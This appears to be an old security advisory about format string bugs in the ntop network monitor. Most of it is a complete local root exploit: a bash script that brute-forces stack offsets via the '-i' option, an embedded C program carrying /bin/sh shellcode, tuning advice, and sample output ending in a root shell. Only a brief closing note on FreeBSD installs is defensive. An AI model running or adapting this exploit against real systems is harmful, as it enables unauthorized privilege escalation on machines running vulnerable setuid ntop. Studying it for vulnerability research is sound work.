COMMAND

    ntop

SYSTEMS AFFECTED

    ntop

PROBLEM

    Paul Starzetz found  following.  There  are various format  string
    bugs in the ntop package.  This is _not_ a new problem.   However,
    in opposite to  the '-w' option  bug, an exploit  for the existent
    '-i' option format string bug has never been posted/released.

    Many people assume, that format string bugs are heavy to  exploit,
    beacause one must deal with strange offsets.  But with a piece  of
    tricky code,  format string  bugs become  really easy exploitable.
    The idea  is of  course, not  new: brute  force the  stack address
    where the retadr is saved during some 'printf' call.

    The  format  string  needed  to  reach  itself  by  consumig stack
    arguments is constructed in an automated manner.  It looks like:

        <padding><stackeat><write><address><nops><shellcode>

    The  offsets  given  at  the  beginning  of  the  code  come  from
    ntop-1.0-21 as found on SuSE 6.1.  Paul didn't have the source  of
    ntop 1.0, but  after looking at  ntop 1.1 the  exploit should work
    unchanged with 1.1, if not one can play with the value of writeadr
    and shelladr (try increasing writeadr  by 0x100).  The address  of
    shellcode  isn't  critical  as  we  can  append enough nops to the
    begining of  the shellcode,  but of  course it  will depend on the
    size of the environment variables.   The rest of the exploit  code
    is really self-explanatory.

    Sample exploitation looks like this:

        paul@phoenix:/usr/home/paul/tmp2/ntop-1.1/exp > uname -a
        Linux phoenix 2.2.16-IPv6 #1 Sun Jun 25 18:07:06 CEST 2000 i586 unknown
        paul@phoenix:/usr/home/paul/tmp2/ntop-1.1/exp > id
        uid=500(paul) gid=100(users) groups=100(users),101(untrusted)

        paul@phoenix:/usr/home/paul/tmp2/ntop-1.1/exp > ntopexpl.sh

        configured for running /usr/sbin/ntop
        RETADR = 0xbffff000
        SHELL  = 0xbffff320
        NOPS   = 128

        [+] found /usr/sbin/ntop
            now searching for offset

        [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16]
        [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30]
        [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44]
        [45] [46] [47] [48] [49] [50] [51] [52] [53] [54] [55] [56] [57] [58]
        [59] [60] [61] [62] [63] [64] [65] [66] [67] [68] [69] [70] [71]

        [+] OFFSET found to be 284/71
            now constructing magic string

        [+] string fileds prepared

        [+] bruteforce prog prepared
            now brute force

        [  64] sh: ðÿ¿: command not found
        ntop: listening on
        PP%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%16g%1
        .
        . (some output)
        .
        00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff076tðÿ¿tðÿ¿uðÿ¿uðÿ¿vðÿ¿vðÿ¿wðÿ¿wðÿ¿sh-2.02#
        sh-2.02# id
        uid=0(root) gid=100(users) groups=100(users),101(untrusted)
        sh-2.02#

    Easy, isn't it?  You will need an executable stack, of course.

    Credit goes to Ksecurity for finding this vulnerability.

    ########################## ntopexpl.sh ##########################

    #!/bin/bash

    #	CONFIGURATION:
    umask 000
    target="/usr/sbin/ntop"
    tmpdir="/tmp/"

    #       address we want to write to (ret on the stack)
    #       has to be an absolute address but we brute force
    #		this scanning 64 addresses from writeadr on
    writeadr="0xbffff000"

    #	no. of addresses to scan
    wrep=64

    #       address of the shell in our string
    #		must point somewhere to our 'nop' region
    shadr="0xbffff320"

    #	number of nops before shellcode
    declare -i nnops
    nnops=128


    echo
    echo "-------------------------------------------"
    echo "|       ntop local r00t exploit           |"
    echo "|              by IhaQueR                 |"
    echo "|		only for demonstrative purposes		|"
    echo "-------------------------------------------"
    echo

    echo
    echo "configured for running $target"
    echo "RETADR = $writeadr"
    echo "SHELL  = $shadr"
    echo "NOPS   = $nnops"
    echo


    #	fake shellcode
    shellfake="SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"

    #	number of nops before shellcode
    declare -i nnops
    nnops=128

    #	make nop field
    declare -i idx
    idx=0

    nfake=""

    while test $idx -lt $nnops; do
	    nfake="N$nfake"
	    idx=$(($idx+1))
    done;


    #	sanity check :-)
    if ! test -x $target ; then
	    echo "[-] $target not found or not executable, sorry"
	    exit 1
    fi;

    echo "[+] found $target"

    declare -i cnt
    declare -i cntmax
    cnt=0
    cntmax=1024


    #	make string used for offset search
    #	like <head><addr><nops><shellcode>
    #	PP stands for padding
    string="%0016d%x%0016d%d%0016d%d%0016d%dABCDEEEEFFFFGGGGHHHHIIIIJJJJKKKK${nfake}${shellfake}"

    padding="PP"
    declare -i npad
    npad=2
    gstring=""

    #	find offset
    echo "    now searching for offset"
    echo

    while test $cnt -le $cntmax ; do
	    gstring="%16g$gstring"
	    string="%16g$string"
	    cnt=$(($cnt+1))
	    result=$($target -i "$padding$string" 2>&1 | grep "44434241")
	    echo -n "[$cnt] "
	    if test "$result" != "" ; then
		    break;
	    fi;
    done

    #	found offset
    declare -i offset
    offset=$(($cnt * 4))

    echo
    echo

    if test $cnt -gt $cntmax ; then
	    echo "[-] offset not found, please tune padding :-)"
	    exit 2
    fi;

    echo "[+] OFFSET found to be $offset/$cnt"

    echo "    now constructing magic string"

    #	number of bytes written so far
    declare -i nwrt
    nwrt=$((16*${cnt} + ${npad}))

    #	bruteforce
    echo "[+] string fileds prepared"
    echo

    cat <<__BRUTE__ >brute.c
    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <unistd.h>

    //	used with <string> <numwritten> <nops>
    main(int argc, char** argv)
    {
    unsigned char str[8192];
    unsigned char buf[8192];
    unsigned char nop[1024];
    unsigned addr[9];
    unsigned char head[33]="%0016d%x%0016d%x%0016d%x%0016d%x";

    //		standard /bin/sh shell :-)
    unsigned char hellcode[] =
    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"

    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   							    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

    int i, flip, nbrute;
    unsigned char* ptr;
    unsigned shadr, rtadr, nwrt;
    int dn;


    //		construct string like <pad><eatstack><head><addr><nops><shell>

    //		no. of attempts
		    nbrute = $wrep;

    //		addr
		    rtadr = $writeadr;

		    while(nbrute>0) {

			    printf("[%4d] ", nbrute);
			    fflush(stdout);
			    fflush(stderr);

    //		nops
			    for(i=0; i<atol(argv[3]); i++)
				    nop[i] = 0x90;
			    nop[i] = 0;

    //		head
			    shadr = $shadr;

    //		6 comes from "bind: "
			    nwrt = atol(argv[2]) + 6;

			    ptr = (unsigned char*)&shadr;

			    for(i=0; i<4; i++) {
				    flip = (((int)256) + ((int)ptr[i])) - ((int)(nwrt % 256));
				    nwrt = nwrt + flip;
				    sprintf(head+i*8, "%%%04dx%%n", flip);
			    }

			    head[32] = 0;

    //		address field
			    for(i=0; i<4; i++) {
				    addr[2*i] = rtadr + i;
				    addr[2*i+1] = rtadr + i;
			    }

			    addr[8] = 0;

			    sprintf(str, "%s%s%s%s%s", argv[1], head, addr, nop, hellcode);
			    sprintf(buf, "./ntop -i \"%s\"", str);

    //		kabuum
			    system(buf);

			    nbrute--;
			    rtadr += 4;
		    }

    return 0;
    }
    __BRUTE__

    rm -rf brute
    gcc brute.c -o brute

    if ! test -x brute ; then
	    echo "[-] compilation error, exiting"
	    exit 2
    fi;

    echo "[+] bruteforce prog prepared"

    echo "    now brute force"
    echo

    brute "$padding$gstring" ${nwrt} ${nnops}

    echo ""
    echo "[+] done"
    echo ""

SOLUTION

    It's  worth  noting  that  FreeBSD  doesn't  (as  of  rev  1.13 of
    ports/net/ntop/Makefile) install  this suid/sgid  so this  exploit
    isn't a problem if ntop was installed from ports/packages.